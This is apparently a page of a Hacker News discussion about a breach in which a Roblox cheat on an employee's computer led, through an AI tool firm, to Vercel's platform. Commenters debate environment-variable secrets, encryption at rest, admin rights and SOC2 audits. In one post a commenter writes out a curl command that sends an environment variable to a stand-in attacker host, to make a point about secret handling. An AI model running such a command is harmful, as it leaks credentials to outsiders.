Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

A Roblox cheat and one AI tool brought down Vercel's platform

webmatrices.com

Post reply on HN
Print view View original

81–90 of 186 posts

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#81

Post by cuki288 »

bauruine wrote: post #28
trick-or-treat wrote: post #24

Earlier quoted context omitted.

Hmm, that's confusing. So they're eventually encrypted but plain-text at some point? Doesn't sound good TBH.

How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them. What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?

[dead]

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#82

Post by [deleted] »

Topfi wrote: post #77

Odd, they used Delve [0] and a SOC2 compliant company like Context.ai [1] should have an AUP, EDR, etc. that prevents their employees from installing a Roblox cheat on their work computer. Heck, even outside SOC2, I have never worked at a company without endpoint restrictions to prevent unauthorised installs. It's almost like the denials were in fact false and Delve truly was just selling a sticker, not providing an…

[deleted]

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#83

Post by wongarsu »

jakewins wrote: post #30
trick-or-treat wrote: post #24

Earlier quoted context omitted.

Hmm, that's confusing. So they're eventually encrypted but plain-text at some point? Doesn't sound good TBH.

If a company says “encrypted at rest” that is generally compliance-speak for “not encrypted, but the hard drive partition is encrypted”. Various certifications require this, I guess because they were written before hyper scalers and the assumed attack vector was that someone would literally steal a hard drive. A running machine is not “at rest”, just like you can read files on your encrypted Mac HDD, the running prog…

"encrypted at rest" is great to guard against stolen laptops, or in the server room both against people breaking in and stealing servers (unlikely at the security level of most hyperscalers, but possible) or more commonly broken HDDs being improperly disposed

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#84

Post by Topfi »

baxtr wrote: post #78
sitkack wrote: post #67

Earlier quoted context omitted.

What about the context.ai security team? You can blame individuals, but security is a property of the system.

It’s a very fine line. How do you check if people adhere to policies and at the same time don’t monitor them permanently?

Endpoint Detection and Response?

Heck, not giving the person Admin privileges would have sufficed to prevent this. Or better hiring preventing people who install Roblox cheats on work devices...

There is no excuse and no fine line here. Even outside them boasting about SOC 2 Type II, this would be embarrassing for an SME not in the tech sector.

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#85

Post by npodbielski »

post_below wrote: post #70
ethin wrote: post #5

This looks really really AI-generated even if the author did try to hide it by making some grammar elements improper. Idk if that diminishes it's accuracy though.

It's absolutely LLM prose, though not all of it. Maybe the author rewrote parts. The thing that concerns me is that even at a site like HN, where a lot of people are very familiar with LLMs, it seems to be passing. I hate to think this will become the norm but it's not the first HN linked post that's gotten a lot of earnest engagement despite being AI generated (or partly AI generated). I'm very comfortable with AI g…

Of course it will be new normal. Even worse in few years you will be writing yourself AI-like prose cause of all of that AI written article and news that you read, will cause silently for you to adopt that style. In few more years barely anybody will be able to write coherent statements themselves without help of LLM :)

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#86

Post by 8cvor6j844qw_d6 »

EdwardDiego wrote: post #2

A frigging Roblox cheat... And I thought it was bad when my son got compromised by a Roblox cheat, but they only they grabbed his Gamepass cookies and bought 4 Minecraft licenses, which MS quickly refunded...

Yeah, I'm curious why a game cheat is allowed to run in the first place. Do these companies not have device controls, or do they just not care?

Feels like the employee pulled a LastPass Plex move.

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#87

Post by baxtr »

Topfi wrote: post #84
baxtr wrote: post #78

Earlier quoted context omitted.

It’s a very fine line. How do you check if people adhere to policies and at the same time don’t monitor them permanently?

Endpoint Detection and Response? Heck, not giving the person Admin privileges would have sufficed to prevent this. Or better hiring preventing people who install Roblox cheats on work devices... There is no excuse and no fine line here. Even outside them boasting about SOC 2 Type II, this would be embarrassing for an SME not in the tech sector.

OP was talking about the security team. Not sure what you are proposing?

Do you want to let any applicant be screened by the security team?

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#88

Post by Topfi »

baxtr wrote: post #87
Topfi wrote: post #84

Earlier quoted context omitted.

Endpoint Detection and Response? Heck, not giving the person Admin privileges would have sufficed to prevent this. Or better hiring preventing people who install Roblox cheats on work devices... There is no excuse and no fine line here. Even outside them boasting about SOC 2 Type II, this would be embarrassing for an SME not in the tech sector.

OP was talking about the security team. Not sure what you are proposing? Do you want to let any applicant be screened by the security team?

Any security team that gives unrestricted admin privileges to random employees is not a security team. So doing the most basic parts of their job, that would be my proposal.

If specific to my hiring comment, was meant a bit facetious, though I will point out this line in their "compliance" report by "auditor" Delve:

> The organization carries out background and/or reference checks on all new employees and contractors prior to joining in accordance with relevant laws, regulations and ethics. Management utilizes a pre-hire checklist to ensure the hiring manager has assessed the qualification of candidates to confirm they can perform the necessary job requirements.

Maybe those pre-hire checklists should include a question like "Are you a massive idiot, who'd install a game on their work computer, then on top of that be the type of idiot who likes to cheat, then on top of that be the type of idiot to install cheats on your work computer?", maybe that'd prevent this in the future. Or again, just don't give everyone Admin privileges...

Post reply on HN